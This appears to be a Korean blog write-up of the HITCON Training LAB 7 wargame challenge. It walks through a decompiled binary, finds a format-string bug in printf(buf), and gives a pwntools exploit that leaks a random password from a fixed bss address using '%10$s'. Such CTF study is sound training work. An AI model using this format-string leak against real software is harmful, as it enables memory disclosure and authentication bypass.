tmxklab

hitcon training [LAB 7] 본문

War Game/hitcon training

hitcon training [LAB 7]

tmxk4221 2020. 7. 19. 18:05

1. 문제

1) mitigation확인

 

2) 문제 확인

  • 이름을 입력받고 패스워드를 입력받았는데 프로그램이 종료된다.

  • 아마도 알맞은 패스워드를 입력해야 할 것 같다.

 

3) 코드흐름 파악

3-1) main함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int fd; // ST14_4
  char nptr; // [esp+8h] [ebp-80h]
  char buf; // [esp+18h] [ebp-70h]
  unsigned int v8; // [esp+7Ch] [ebp-Ch]

  v8 = __readgsdword(0x14u);
  setvbuf(_bss_start, 0, 2, 0);
  v3 = time(0);
  srand(v3);
  fd = open("/dev/urandom", 0);
  read(fd, &password, 4u);
  printf("What your name ? ");
  read(0, &buf, 0x63u);
  printf("Hello ,");
  printf(&buf);
  printf("Your password :");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == password )
  {
    puts("Congrt!!");
    system("cat /home/crack/flag");
  }
  else
  {
    puts("Goodbyte");
  }
  return 0;
}
  • 전역 변수 password에 랜덤 값 설정

  • buf에 0x63(99)bytes만큼 입력 값 저장

  • 근데 포맷 지정자 없이 printf(buf)로 바로 출력함 → FSB취약점

  • nptr변수에 0xf(15)bytes만큼 입력을 받아 password값과 비교하여 참이면 성공

 


2. 접근 방법

위 사실을 알 수 있는 것은 PIE는 걸려있지 않으며 password변수는 bss영역에 존재하고 printf()에서 FSB취약점이 존재한다는 것이다.

 

1) ASLR이 걸려있더라도 bss영역의 주소 값은 랜덤하게 변하지 않는다.

→ bss영역에 존재하는 password변수의 위치는 항상 동일

 

2) printf(buf)에서 FSB취약점 발생

→ %s를 사용하여 password변수의 값을 출력할 수 있음

→ %n을 사용하여 nptr변수에 password변수의 값을 저장할 수 있음

 


3. 풀이

 

1) buf값이 출력되는 위치 확인

10번째부터 %p값이 출력된다.

 

2) payload구성(buf에 들어가는 값)

  • bss영역에 존재하는 password변수의 주소 값 넣기

  • fsb를 이용하여 password의 값 출력하기

 

[ password ] + "%10$s" + "\n"

  • 마지막 개행문자는 구분하기 위해서 추가적으로 넣은 것

확인)

  • 현재 password값은 0xfc273f65

  • 출력되는 값에 0xfc273f65가 포함됨

 

이제 저거를 nptr에 넣으면 끝

 

3) 익스 코드

from pwn import *

#context.log_level = "debug"

p = process("./crack")
#gdb.attach(p)

pw_addr = p32(0x804a048)

payload = pw_addr
payload += "%10$s" + "\n"

p.sendafter("? ", payload)
data = p.recvuntil("\n")
data = u32(data[11:15])
log.info("password data :")
log.info(data)

p.sendafter(":", str(data))

p.interactive()

 

4) 공격 실행

 

'War Game > hitcon training' 카테고리의 다른 글

hitcon training [LAB 9]  (0) 2020.07.21
hitcon training [LAB 8]  (0) 2020.07.19
hitcon training [LAB 6]  (0) 2020.07.19
hitcon training [LAB 5]  (0) 2020.07.19
hitcon training [LAB 4]  (0) 2020.07.19
Comments